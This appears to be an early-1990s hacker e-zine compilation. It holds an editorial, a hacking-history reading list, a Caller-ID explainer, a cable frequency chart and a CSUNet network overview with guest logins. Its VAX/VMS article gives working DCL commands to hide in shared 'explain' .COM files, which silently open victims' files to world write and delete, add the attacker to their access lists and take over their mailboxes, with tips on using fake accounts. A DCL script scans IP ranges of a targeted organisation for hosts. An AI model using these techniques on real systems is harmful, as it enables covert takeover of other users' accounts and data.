I hope that the time of raids and sting operations has passed, but the late developments in the Washington 2600 meeting have pulled a shadow over my hopes. Has no one learned? Have the SS and FBI nothing better to do? Just a few moths back someone pulled one of the greatest scams of all by setting up a fake ATM and stealing a few thousand dollars. These are the kind of people the authorities should be after. And to the hacker, don't sell yourself! Remember this is a learning trip, once you start forgetting to learn and start making money out of it, it is just another job, an illegal one at that.

Approaching Zero was an exciting and interesting surprise. It has given me the hint that maybe someone out there understands and I hope that everyone that reads it (and you must, you must read and learn all you can) will also understand. I just leave you with these words: Hacking comes from the heart ‑ sometimes in the form of an obsession, sometimes in the form of a hobby ‑ once that dies, there is nothing left to do. No more traveling trough the nets! No more exploring new systems! You might as well turn the power off.

‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=

What fallows is a list of books, papers and articles for those that want to know a little more of how the media portrays us, and a little more about the story of hacking in general.

Books:

~~~~~~

‑ "Approaching Zero" by Paul Mungo & Bryan Clough. Random House 1992.

‑ "Beating the System" by Owen Bowcott & Sally Hamilton. London: Bloomsbury, 1990.

‑ "Computer Viruses ‑ A High‑Tech Disease" by Ralf Burger. Grand Rapids, MI: Abacus, 1988.

‑ "The Hackers' Handbook" by Hugo Cornwall. London: Century Communications, 1985.

‑ "Computers Under Attack" by Peter Denning. Addison Wesley, 1990.

‑ "Profits of Deceit" by Patricia Franklin. London: William Heinemann, 1990.

‑ "Cyberpunk" by Katie Hafner & John Markoff. London: Fourth Estate, 1991.

‑ "Out of the Inner Circle" by Bill Landreth (aka The Cracker). Redmond, WA.: Tempus Books, 1985.

‑ "Sillicon Valley Fever" by Judith K. Larsen & Everett M. Rogers. London: George Allen & Unwin, 1985.

‑ "Computer Viruses" by Ralph Roberts. Greensboro, NC: Compute! Books, 1988.

‑ "The Cuckoo's Egg" by Clifford Stoll. New York: Doubleday, 1989.

‑ "Spectacular Computer Crimes" by Buck BloomBecker. Dow Jones‑Irwin, 1990.

‑ "The New Hacker's Dictionary" by Eric Raymond. MIT Press, 1983.

‑ "The Hacker Crackdown" by Bruce Sterling. Bantam Books, 1992.

‑ "The Little Black Book of Computer Viruses" by Mark Ludwig. American Eagle Publications, 1991.

‑ "Artificial Life" by Steven Levy. Panthenon, 1992. (For those virus writers out there, use your tallen to create life.)

Articles & Papers:

~~~~~~~~~~~~~~~~~~

‑ "Crime and Puzzlement" by John Perry Barlow. Whole Earth Review, Fall 1990: 44‑57.

‑ "The Casino Virus ‑ Gambling with Your Hard Disk" by Jim Bates. Virus Bulletin, March 1991: 15‑17.

‑ "The TP Viruses" by Vesselin Bontchev. Postings to Virus‑L 1990.

‑ "In Defense of Hackers" by Craig Bromberg. The New York Times Magazine, April 21, 1991.

‑ "Bulgaria ‑ The Dark Country" by Bryan Clough. Virus Bulletin, December 1990: 9‑11.

‑ "Voice Mail Computer Abuse Prosecution: United States v. Doucette a/k/a Kyrie" by William J. Cook. Safe Computing Proceedings of the Fourth Annual Computer Virus & Security Conference, 1991, Organized by National Computing Corporation.

‑ "Invasion of the Data Snatchers!" by Philip Elmer‑De Witt. Time, September 26, 1988: 63.

‑ "Data Exchange and How to Cope with This Problem: The Implication of the German KGB Computer Espionage Affair" by Hans Gliss. Paper presented at Securicom Italia, October 1989.

‑ "The Implications of the SPANet Hack." Computers Fraud & Security Bulletin, Vol. 10, No. 2, 1987.

‑ "The Brain Virus: Fact and Fantasy" by Harold J. Highland. Computers & Security, August 1988: 367‑370.

‑ Computer Viruses ‑ A Post Modern." Computer & Security, April 1988: 117‑184.

‑ "Terminal Delinquents" by Jack Hitt & Paul Tough. Esquire, December 1990.

‑ "The Social Organization of the Computer Underground" by Gordon R. Meyer. M.A. Thesis Submitted to the Graduate School, August 1989.

‑ "Satanic Viruses" by Paul Mungo. GQ, February 1991: 126‑130.

‑ "Secrets of the Little Blue Box" by Ron Rosenbaum. Esquire, October 1971, Collected in Travels with Dr. Death. New York: Viking Penguin, 1991.

‑ "The Worm Program ‑ Early Experience with a Distributed Computations" by John F. Shoch. Communications of the ACM, Vol. 25, No. 3, March 1982.

‑ "The Search for Den Zuk" by Fridrik Skulason. Virus Bulletin, February 1991: 6‑7.

‑ "Crisis and Aftermath" by Eugene H. Spafford. Communications of the ACM. Vol. 32, No. 6, June 1989.

‑ "GURPS Labor Lost: The Cyberpunk Bust" by Bruce Sterling, Effector, September 1991: 1.

‑ "Stalking the Wily Hacker" by Clifford Stoll. Communications of the ACM. Vol. 31, No. 5, May 1988.

‑ "The Kinetics of Computer Virus Replication." by Peter S. Tippett. FundationWare, March 1990.

‑ "The General and Logical Theory of Automata" by John L. von Neumann. Hixon Symposium, September 1948.

‑ "Here Comes the Cyberpunk" by Eden Restored. Time, February 8, 1993: 58‑65.

‑ "Surfing Off the Edge" by Richard Begar. Time, February 8, 1993: 62.

‑ "Can Hackers Be Sued for Damages Caused by Computer Viruses?" by Pamela Samuelson. Communications of the ACM. Vol. 32, No. 6, June 1989.

‑ "Viruses and Criminal Law" by Michael Gemignani. Communications of the ACM. Vol. 32, No. 6, June 1989.

‑ "Password Cracking: A Game of Wits" by Donn Seeley. Communications of the ACM. Vol. 32, No. 6, June 1989.

‑ "The Cornell Commission: On Morris and the Worm" by Ted Eisenberg, David Gries, Juris Artmanis, Don Holcomb, M. Stuart Lynn & Thomas Santoro. Communications of the ACM. Vol. 32, No. 6, June 1989.

‑ "Desperately Seeking Cyberspace" by Paul Saffo. Personal Computing, May 1989: 247‑248.

‑ "Secrets of the Software Pirates" by Bylee Gomes. Esquire, January 1982: 58‑64.

‑ "Trouble in Cyberspace" by Willard Uncapher. The Humanist, September/October 1991: 5‑14,34.

‑ "Is Computer Hacking a Crime?" Capture of a discussion held on the WELL. Harper's Magazine, March 1990: 45‑57.

‑ "The United States vs. Craig Neidorf" by Dorothy E. Denning. Communications of the ACM, Vol. 34, No. 3, March 1991: 24‑32.

‑ "Colleagues Debate Denning's Comments." Communications of the ACM. Vol. 34, No. 3, March 1991: 33‑41.

‑ "Denning's Rebutal" by Dorothy E. Denning. Communications of the ACM. Vol. 34, No. 3, March 1991: 42‑43.

‑ "Coming into the Country" by John P. Barlow. Communications of the ACM. Vol. 34, No. 3, March 1991: 19‑21.

‑ "Off the Hook" by Julian Dibbell. Village Voice, August 21, 1990: 8.

‑ "On Line and Out of Bounds" by Julian Dibbell. Village Voice, July 24, 1990:27‑32.

‑ "Hi‑Tech Mall Crawl" by Julian Dibbell. Village Voice. March 1990: 12

‑ "Samurai Hackers" by Lynda Edwards. Rolling Stone, September 19, 1991: 67‑69.

‑ "Crackdown on hackers `may violate civil rights'" by Dan Charles. New Scientist, July 21, 1990: 22.

‑ "United States v. Zod." The Economist, September 1, 1990: 23.

‑ "Drop the Phone." Time, January 9, 1989: 49.

‑ "Computer Recreations (Core War)" by A. K. Dewdney. Scientific American, May 1984: 14‑21.

‑ "Computer Recreations (Core War)" by A. K. Dewdney. Scientific American, March 1985: 14‑23.

‑ "Computer Recreations (Core War)" by A. K. Dewdney. Scientific American. March 1989: 110‑113.

‑ "Computer Security: NAS Sounds the Alarm" by Eliot Marshall. Science, Vol. 250: 1330.

‑ "Students Discover Computer Threat" by Gina Koda. Science, Vol. 215, 5 March, 1982: 1216‑1217.

‑ "A nationwide Computer‑Fraud Ring Is Broken Up." The New York Times National, Sunday, April 19, 1992.

‑ "Hackers: Is a Cure Worse than the Disease?" by Mark Lewyn. Business Week, December 4, 1989: 37‑38.

‑ "Computer Hacking Goes to Trail" by William F. Allman. U.S. News & World Report, January 22, 1990: 25.

‑ "Morris Code: by Katie Hafner. The New Republican, February 19, 1990: 15‑16.

‑ "Hackers Intentions Key to Court Case" by David Lindley. Nature. Vol. 340, August 3, 1989: 329.

‑ "Problems of Security" by David Lendley. Nature. Vol. 340. July 27, 1989: 252.

‑ "Hostile Takeovers" by Paul Wallich. Scientific American, January 1989: 22‑23.

‑ "The Worm's Aftermath" by Eliot Marshall. Science, Vol. 242, November 25, 1988: 1121‑1122

‑ "Researcher Fear Computer Virus' Will Slow Use of National Network" by Calvin Sims. The New York Times, Monday, November 14, 1998: B6.

‑ "Networked Computers Hit by Intelligent `Virus'" by Joseph Palca & Seth Shulman. Nature, Vol. 336, November 10, 1988: 97.

‑ "The Science of Computing: Computer Viruses" by Peter J. Denning. American Scientist, Vol. 76, May‑June 1988:236‑238.

‑ "Cyberpunks and the Constitution" by Philip Elmer‑Dewitt. Time, April 8, 1991:81.

‑ "Plan to outlaw hacking." Nature, Vol. 341, October 19, 1989: 559.

‑ "Computer System Intruder Plucks Passwords and Avoids Detection" by John Markoff. The New York Times National, Monday, March 19, 1990.

‑ "Networked Computer Security" by S.J. Buchsbaum. Vital Speeches of the day. December 15, 1991: 150‑155.

‑ "Halting Hackers." The Economist. October 28, 1989: 18.

‑ "Revenge of the Nerds" by Nocholas Martin. The Washington Monthly, January 1989: 21‑24.

‑ "Greater awareness of security in aftermath of computer worm" by Seth Shulman & Joseph Palce. Nature, Vol. 336, November 1988: 301.

‑ "Avoiding Virus Hysteria" by Patrick Honan. Personal Computing, May 1989: 85‑92.

****************************************

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

{

{ VMS/VAX Explain Files Explained }

{ or }

{ Security Holes in the VAX and DCL }

{

{ By: The Arctic Knight }

{

{‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

VAX/VMS hacking has declined in popularity over the years due to the abundance of UNIX machines now available. It has even gotten bad press from fellow hackers. Included in this file is a security hole the size of , oh, any of the older IBM mainframes. With a little curiosity, persistence, and down right stubbornness I came across this rather obvious hole in the system. However, this hole may be so obvious that it has remained relatively hidden until now, especially since the decline of DCL users.

On most VAX systems, there is something called explain files. These are usually help files that are made up by the system operators or borrowed from somewhere to help better explain the way certain features of the system work, whether they be general VAX commands, or system‑specific programs. When you are in your account (Presumably, a fake one, as this can be tracked down if you are foolish) type:

$ explain index

and you will get a list of all the explain files on your system. Go ahead and take a look around these just to get a feel of what it looks like. It should be a menu driven list of text files to view or programs to run(!!!). Most system operators only set this up to show various text files describing commands like mentioned above. However, DCL .com files can be run from explain files as well. Now comes the fun. Many systems will also allow users to set up there own explain file. A really nice way to make it easy for other users to view text files or run programs that you have set for group or world access.

The first thing someone needs to do is make a file called INTRO.LKT which will contain whatever introduction text that you would like displayed before your explain file menu is displayed(i.e. you might have a description of yourself, your duties, or a funny poem, or WHATEVER YOU WANT THAT CAN BE CONTAINED IN A TEXT FILE!!!!)

You can use any editor to do this like EDT(a line editor) or TPU(a full screen editor). You will need to type something along these lines to create the file:

$set vt=100 !if using a full screen editor like TPU $edit/tpu intro.lkt

After you are finished typing in the file, if you used TPU (A much better choice than EDT), you press <CONTROL‑Z> to save the file. Now you must create a file called INDEX.LKI which will contain the file directories, filenames, and short descriptions of the files that you want to have displayed. You do this in the same manner as above, by entering an editor, and creating the file.

$edit/tpu index.lki

Now, in this file the lines should look like the following: (File Directory) (Filename) (File Description)

Phrack41.txt A complete copy of Phrack 41 for your enjoyment. User:[aknight.hack]vms.txt A guide to hacking VMS systems. Temp$1:[aknight.ftp]ftplist.txt A list of FTP servers in‑state.

Now, to explain these three lines. The first one will look for the program in your main directory. The second line will look for the program listed after it on the device called USER and in the HACK directory within the AKNIGHT directory. The final line will look on the device called TEMP$1 in the FTP directory within the AKNIGHT directory. Adding DCL programs will be explained in a minute, but first lets get this up and running.

Now, that you have typed in the text files you want, and saved this file you need to set the protection on your main directory and any others that need accessing like the text files to group and world access. For the above example one would want to type(assuming you are in your main directory):

$set prot=(g:re,w:re) user:[000000]aknight.dir !This is my main directory $set prot=(g:re,w:re) user:[aknight.hack]

$set prot=(g:re,w:re) temp$1:[000000]aknight.dir !My second storage device $set prot=(g:re,w:re) temp$1:[aknight.ftp]

$set prot=(g:r,w:r) phrack41.txt !Giving privs to read only $set prot=(g:r,w:r) user:[aknight.hack]vms.txt

$set prot=(g:r,w:r) temp$1:[aknight.ftp]ftplist.txt

Now, if you type:

$explain aknight ! (my username in this instance,your normally)

You should get a print out to screen of your INTRO.LKT file and then a message along the lines of "Hit <return> to continue". When you hit return a menu will appear very similar to the normal explain file menu except with your files listed and their descriptions which were accessed by the computer from your INDEX.LKI file. It would look like this(or something similar) in the above example.

{a print out of my INTRO.LKT file...}

Hit <RETURN> to continue

EXPLAIN AKNIGHT

========================================

(A) PHRACK41 T‑A complete copy of Phrack 41 for your enjoyment. (B) VMS T‑A guide to hacking VMS systems.

(C) *EXPLAIN/USER AKNIGHT FTPLIST

T‑A list of FTP servers in‑state.

(Q) TERMINATE THIS PROGRAM

========================================

T = Text Display P = Program to be run

(* = Related Information)

Choose A‑C, Q, oe type HELP for assistance.

Now you have an explain file. Pressing A‑C will print those files to screen with pauses at each page if set up on your system/account to do so. I typed out number C the way I did, because when it has to access a directory other than it's main one, it will usually do this. I think there is away around this, but to be quite honest I haven't bothered figuring it out yet. When you quit, you will be dropped back off at your main prompt. The reason you need to set your protections, is because even thought from your account, it may look like it is working, if you don't set your protections as described above, NO ONE else will be able to view it!!

Now, comes the fun part. Putting DCL .COM files into your explain file. These are put into your index just like any text file. So you could type up a program to let someone copy the public files you have in your account to their directory, or something similar. The security flaw comes in here and it is a big one. Since a user is accessing your explain file from their account, any file that they run, issues commands in their account. So, one might plant a line in the middle of the above program that say something like:

$set def sys$login !Returns them to their main directory. $set prot=(g:rwed,w:rwed) *.*;* !Their files are now read, write, execute,

!and deleteable by anyone, including you.

Here is another idea. Say you create a text reader in DCL, to allow people to jump around in the text files you have, skip pages, etc. called TYPE.COM in your main directory. Anytime you can fool people into thinking that the computer is taking a little time to think, you can insert some major commands, i.e. when it is skipping pages, or coping files, which almost takes no time at all in reality. I STRONGLY suggest starting any program you plan to nest commands like this into with:

$set noverify

Which will make sure that the program lines don't get printed to the screen as they are running. Another important command to know is the following which will cause the next text output from the VAX to be sent to a NULL device, so it will essentially be lost and not printed to the screen. So, if one is accessing someone's mailbox, you don't want a messaging appearing on screen saying that you have entered VAX/VMS mail or whatever. The command is:

$assign nl:sys$output/user

If you forget the /user it will send the output to the null device for the session, instead of just one line.

Some other things one might do would be to add yourself to someone's ACL(access control list) by typing:

$set acl/acl=(ident=[aknight],access=control) *.*;*

Now, this will give you access to all their files just as if you were the user, however if they bother to ever do a dir/prot command your username will be printed all over the screen, so one would suggest if you must do this, to use a fake account. Same with this below command:

$assign nl:sys$output/user

$mail set write aknight

The second line will give me read and write access to someone's mailbox, but once again if they bother to check their mailbox protections your username will be displayed.

In case, you haven't realized this yet, this all has A LOT of potential, and what I have mentioned here is just the tip of the iceberg and really mostly small and even foolish things to do, but the fact comes down to ANYTHING the user can do in their account, YOU can do in there account if you know the right commands and have the patience to nest them into a .COM file well enough. When you have created the .COM file and added it to the INDEX.LKI file, then you will need to set the protection of the file like so:

$set prot=(g:e,w:e) type.com !Execution only. No read privs.

You now have it a fully functional explain file that is only held down by your imagination.

Remember, malicious actions aren't the sign of a true hacker, so don't delete a users complete directory just because you want to show of your power. Most people won't be impressed. If your a SYSOP, fix this DAMN HOLE!!! And if your a user well, learn the system quickly, explore, absorb, and discover some other hole before the above SYSOP patches this one......

COMMENTS, QUESTIONS, ADDITIONS, ETC can be sent to PHRACK LOOPBACK. ENJOY!!

{_______________________________________

****************************************

A Internet Scanner

(War Dialer)

by

MadHatter

Purpose of this program

~~~~~~~~~~~~~~~~~~~~~~~

Remember those scanner, war dialer programs everyone used to scan areas of telephone numbers to find unknown hosts? Well, now your on the net and you're targeting some certain establishment, and you know which part of the net they own, but the hell if you know what the actual IP addresses of their hosts are... Telneting to NIC.DDN.MIL is no help, their records are a year old... Might as well have been 10 yrs ago... So you type every possible IP address in. Right? After a while that shit gets tiring... Well, hell let the computer do it, that's what its there for. More speed, no sore fingers, no bitching, and it runs when you're not there. Almost perfect.....

Program Details

~~~~~~~~~~~~~~~

DCL is the language and it runs on Vaxen. A,B,C,D respectively represent the starting IP address. E,F,G,H respectively represent the ending IP address (ex. If you what to start at 4.1.1.1 and end at 6.1.1.1 then a = 4, B = 1, etc., E = 6, F = 1, etc.)

The prog creates a data file (FINAL.DAT) that holds all successful connections. If you run it in batch, it also creates a .log file. This by far takes up most of the memory. When the program quits, delete it. This prog is just one big loop. It finds a good telnet address and then reIFINGERs there, saving it.

Program Changes

~~~~~~~~~~~~~~~

If you run it in batch, then you might (probably) have to define where the IFINGER or FINGER program is. Make sure it is the one for FINGERing remote hosts, the commands for it vary. Why do you have to define it? Because the dumb‑ass sysop couldn't think of why anyone would want to use it in batch.

Problems

~~~~~~~~

The IFINGER (FINGER) command might not connect to some hosts from your system. Why can you TELNET there but no IFINGER? It all probably has to do with the other host (it has tight security, too far away, doesn't support FINGERing, etc.).

No Solutions (Just one)

~~~~~~~~~~~~~~~~~~~~~~~

You say if I can TELNET to more places than IFINGERing, why not base the scanner on the TELNET command? Two reasons: (1) the security with the TELNET command requires its output goes to a terminal, never to run in batch; (2) the TELNET command does not give the character address (at least not on the system I use). To have the character address is valuable to me. The program lists the IP address, the character address, then whatever finger came up with. When running in batch, the program will quit eventually (do to MAX CPU time or exceeded disk quota). This can be a pain (especially if its CPU time), you can always get more memory. Try changing the file specifics in the prog, and run many versions of it at once, to get as much cpu time as possible. For memory, clear your account, or get more of them. Another problem is when your program has stopped and you have nothing in FINAL.DAT file. So where do you start the batch off again? All I can say is count the number of failed connections and add 'em to your previous start address, start at that address.

More Ideas

~~~~~~~~~~

If you want the net area of an establishment then ftp to NIC.DDN.MIL and get the hosts listing, or TELNET there and search for the name. Some areas of the net do not like to be scanned. Your sysop will get nasty calls, and then you will get nasty e‑mail if you for instance scan the Army Information Systems Center. Or any other government org. Of course, this program wouldn't hurt them at all, it would bounce back. They use firewalls. But they will bitch anyway.

After you run this program for awhile, you'll notice the net is really a big empty place. Hosts are few and far between (at least address wise). Are you agoraphobic yet? What do you do with all this room?

MadHatter

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑CUT HERE‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ A = 0

$ B = 0

$ C = 0

$ D = 0

$ E = 257

$ F = 0

$ G = 0

$ H = 0

$ D = D ‑ 1

$ IFINGER := $VMS$UTIL:[IFINGER]FINGER.EXE;1

$ CREATE FINAL.DAT

$ LOOP1:

$ ON SEVERE_ERROR THEN GOTO SKIP

$ D = D + 1

$ IFINGER @'A'.'B'.'C'.'D'

$ ON SEVERE_ERROR THEN GOTO SKIP

$ ASSIGN TEMPFILE.DAT SYS$OUTPUT

$ WRITE SYS$OUTPUT "["'A'"."'B'"."'C'"."'D'"]"

$ IFINGER @'A'.'B'.'C'.'D'

$ DEASSIGN SYS$OUTPUT

$ APPEND TEMPFILE.DAT FINAL.DAT

$ DELETE TEMPFILE.DAT;*

$ SKIP:

$ IF A .EQ. E THEN IF B .EQ. F THEN IF C .EQ. G THEN IF D .EQ. H THEN EXIT $ IF D .EQ. 256 THEN GOTO LOOP2

$ IF C .EQ. 256 THEN GOTO LOOP3

$ IF B .EQ. 256 THEN GOTO LOOP4

$ GOTO LOOP1

$ LOOP2:

$ D = 0

$ C = C + 1

$ GOTO LOOP1

$ LOOP3:

$ C = 0

$ B = B + 1

$ GOTO LOOP1

$ LOOP4:

$ B = 0

$ A = A + 1

$ GOTO LOOP1

$ EXIT

*‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑CUT HERE‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑*

****************************************

Caller Identification

by (Loq)ue & Key

3/20/93

Caller‑Identification (CID), is a relatively new service being offered by several carriers. It is part of a total revamp of the telephone network, with the telephone companies trying to get people to spend more money on their systems. CID is just one of the newer CLASS services, which will eventually lead into ISDN in all areas.

Caller‑ID allows a receiving party to see the number that is calling before they pick up the phone. It can be used for everything from pizza delivery to stopping prank callers. One scenario made possible from CID is one where a salesman dials your number, you look on a little box and see that it is someone you don't want to talk to, so you promptly pick up the phone, say "Sorry, I don't want any *** *** products" and slam down the receiver. Ah, the wonders of modern technology.

Caller‑ID starts by a person making a call. When the person dials a number, the local switch rings the calling number once, and then sends a specially encoded packet to the number, after checking to see if that caller has access to the Calling Number Delivery service.

The packet can contain any information, but currently it holds a data stream that contains flow control, and error checking data. The specifications state that several signals can exist, however, only the Caller‑ID signal is used currently.

The CID packet begins with a "Channel Seizure Signal". The CSC is 30 bytes of hex 55, binary 01010101, which is equivalent to 250 milliseconds of a 600 hz square wave.

The second signal is the "Carrier Signal," which lasts for 150 milliseconds, and contains all binary 1's. The receiving equipment should have been "woken‑up" by the previous signal and should now be waiting for the important information to come across.

Next are the "Message Type Word", and the "Message Length Word". The MTW contains a Hex $04 for CID applications, with several other codes being planned, for example $0A to mean message waiting for a pager. The MLW contains the binary equivalent of the number of digits in the calling number.

The data words come next, in ASCII, with the least significant digit first. It is padded in from with a binary 0, and followed by a binary 1. A checksum word comes after that, which contains the twos‑complement sum of the MLW and data words.

The checksum word usually signals the end of the message from the CO, however, other messages for equipment to decode can occur afterwards.

Caller‑ID can usually be disabled with a 3 digit sequence, which can vary from CO to CO. Several of these have been mentioned in the past on Usenet, in comp.dcom.telecom.

Caller‑ID chips are available from many sources, however, remember that you must connect these chips through an FCC‑approved Part‑68 Interface. Several of these interfaces are available, however they are fairly expensive for an amateur electronics hacker.

If you have any more questions on CID, mail me at the above address, or post to comp.dcom.telecom.

Additional Sources from Bellcore:

Nynex Catalog of Technical Information #NIP‑7400 SPCS Customer Premises Equipment Data Interface #TR‑TSY‑0030 CLASS Feature: Calling Number Delivery #FSD‑02‑1051 CLASS Feature: Calling Number Blocking #TR‑TSY‑000391

****************************************

THE "OFFICIAL" CABLE TELEVISION VIDEO FREQUENCY SPECTRUM CHART COURTESY OF: JOE (WA1VIA) & JIM (WA1FTA)

CATV CHANNEL FREQUENCY (MHz) CATV CHANNEL FREQUENCY (MHz)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2 2 55.25 37 AA 301.25 3 3 61.25 38 BB 307.25 4 4 67.25 39 CC 313.25 5 5 77.25 40 DD 319.25 6 6 83.25 (85.25 ICC) 41 EE 325.25

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ 42 FF 331.25

7 7 175.25 43 GG 337.25 8 8 181.25 44 HH 343.25 9 9 187.25 45 II 349.25 10 10 193.25 46 JJ 355.25 11 11 199.25 47 KK 361.25 12 12 205.25 48 LL 367.25 13 13 211.25 49 MM 373.25

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ 50 NN 379.25

14 A 121.25 51 OO 385.25 15 B 127.25 52 PP 391.25 16 C 133.25 53 QQ 397.25 17 D 139.25 54 RR 403.25 18 E 145.25 55 SS 409.25 19 F 151.25 56 TT 415.25 20 G 157.25 57 UU 421.25 21 H 163.25 58 VV 427.25 22 I 169.25 59 WW 433.25

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑60 W+ 439.25

23 J 217.25 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

24 K 223.25 61 W+1 445.25 25 L 229.25 62 W+2 451.25 26 M 235.25 63 W+3 457.25 27 N 241.25 64 W+4 463.25 28 O 247.25 65 W+5 469.25

29 P 253.25 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

30 Q 259.25 66 A‑1 115.25 31 R 265.25 67 A‑2 109.25 32 S 271.25 68 A‑3 103.25 33 T 277.25 69 A‑4 97.25 34 U 283.25 70 A‑5 91.25

35 V 289.25 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

36 W 295.25 01 A‑8 73.25

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* This chart was created 08/19/89 by: WA1VIA & WA1FTA. Some uses include the isolation of CATV interference to other radio services, and building of active & passive filters, and descramblers. This does NOT give you the right to view or decode premium cable channels; without proper authorization from your local cable TV company. Federal and various state laws provide for substantial civil an criminal penalties for unauthorized use.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The CSUNet X.25 Network

Overview by Belgorath

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

C y b e r C o r p s

Calstate University, along with Humboldt State, runs a small X.25 network interconnecting its campuses. This file will attempt to give an overview of this network. The hosts on this network are connected via 9600‑baud links. The main PAD on this network is a PCI/01 that allows the user to connect to several hosts. Among them are:

(At the time of this writing, several of the machines were unreachable. They are marked with "No info available")

hum ‑ Humboldt State University CDC Cyber 180‑830 (NOS 2.7.1) swrl ‑ A CalState CDC Cyber named "Swirl", running CDCNet. You may use CDCNet to connect to the following hosts: ATL (SunOS, eis.calstate.edu), login as: access to request an account

ctp to access CTP

CCS CDC Cyber 960‑31 (NOS 2.7.1) ‑ This is Swirl without CDCNet COC CDC Cyber 960‑31 (NOS 2.7.1)

FILLY VAX 6230 (VMS 5.3)

ICEP IBM 4381 (VM)

OX IBM 4381 (MVS) (Aptly Named)

mlvl ‑ University of California's Library Catalog System, named "Melvyl".

sb ‑ Calstate/San Bernardino CDC Cyber 180‑830 (NOS 2.5.2) sd ‑ San Diego State University CDC Cyber 180‑830B (NOS 2.7.1) chi ‑ Calstate/Chico CDC Cyber 180‑830 (NOS 2.7.1) ‑ oddly enough this system is running CDCNet with itself as the only host bak ‑ Calstate/Bakersfield CDC Cyber Dual 830 CMR‑1 (NOS 2.7.1) this system is running CDCNet, and if you fail the login, you can connect to these systems, if you type fast enough: CCS ‑ Central Cyber 960 System

CSBINA ‑ CSUB Instructional Vax 3900 CSBOAA ‑ CSUB Office Automation Vax 4300 CYBER ‑ Local host

RBFBATCH ‑ CSUB CDC Cyber Remote Batch Gateway

ccs ‑ CDC Cyber 960‑31 (CCS from Swirl)

coc ‑ CDC Cyber 960‑31 (COC from Swirl)

dh ‑ Calstate/Dominguez Hills CDC Cyber 960‑11 (NOS 2.7.1) this system runs CDCNet with no hosts.. go figure

fre ‑ Calstate/Fresno ‑ No info available

ful ‑ Calstate/Fullerton ‑ No info available

hay ‑ Calstate/Hayward ‑ No info available

la ‑ Calstate/Los Angeles ‑ No info available

lb ‑ Calstate/Long Beach ‑ No info available

mv ‑ No info available

news ‑ No info available

nor ‑ Calstate/Northridge ‑ No info available

pom ‑ California State Polytechnic University, Pomona ‑ No info available sac ‑ Calstate/Sacramento CDC Cyber 180‑830 (NOS 2.5.2)

sf ‑ Calstate/San Francisco ‑ No info available

sj ‑ San Jose State University ‑ No info available

son ‑ Sonoma State University CDC Cyber 180‑830 (NOS 2.7.1) ‑ this system runs CDCNet with itself as the only host

sm ‑ No info available

slo ‑ California State Polytechnic University, San Luis Obispo ‑ No info available

sta ‑ Calstate/Stanislaus ‑ No info available

ven ‑ No info available

carl ‑ No info available

caps ‑ CSUNet networking machine. From it, you can connecting to most PAD hosts plus a few more. The extras are: access ‑ Connect to eis.calstate.edu (login as "access") core ‑ Connect to eis.calstate.edu (login as "core") ctp ‑ Connect to eis.calstate.edu (login as "ctp") eis ‑ Connect to eis.calstate.edu (login as "eis") trie ‑ Connect to eis.calstate.edu (login as "trie") csupernet ‑ CSUPERNet appears to be a public‑access UNIX. login as "public" for ATI‑Net. login as "super" for academic information. login as "atls" for the ATLS system Once you apply for an account here, you can telnet to caticsuf.cati.csufresno.edu to use it.

This is all well and good, but how to you access CSUNet? It can be reached via Internet, using the Humbolt PACX (pacx.humboldt.edu). The Humboldt PACX allows several services, among them are:

X25 ‑ Connect directly to CSUNet PAD

960 ‑ CDC Cyber 180/830 (Swirl)

830 ‑ CDC Cyber 180/830 (COC from Swirl)

VAX ‑ VAX 8700 (VMS V5.3)

70 ‑ DEC PDP 11/70 (running RSTS)

SEQ ‑ Sequent S81 (running Dynix V3.1.4 X.25 UNIX software) TELNET ‑ Telnet Server

That's really all there is to say concerning the network structure (well, I could go through and list all their X.25 addresses, but I won't). There's a ton more to be said about using this network, but its little quirks and surprises can be left to you to figure out. What I can do here is give a few hints on using CDCNet and the PAD.

Using the PAD

~~~~~~~~~~~~~

Once you're at the X.25 PAD, you'll get a message like: CSUnet Humboldt PCI/01, Port: P17

At the "Pad>" prompt, simply type the hostname to connect to. When in doubt, type "help <subjectname>", or just "help" for a list of subjects that help is available on.

Using CDCNet

~~~~~~~~~~~~

When a CDC Cyber says "You may now execute CDCNet Commands", this is your cue. You have the following commands available:

activate_auto_recognition

activate_x_personal_computer

change_connection_attribute

change_terminal_attribute

change_working_connection

create_connection

delete_connection

display_command_information

display_command_list

display_connection

display_connection_attribute

display_service

display_terminal_attribute

do

help

request_network_operator

The ones to concern yourself with are display_service, create_connection, and help. "help" gives the above command listing (useful), "display_service" lists the hosts on the current CDCNet, and "create_connection <host>" creates a connection to "host" on the CDCNet.

****************************************

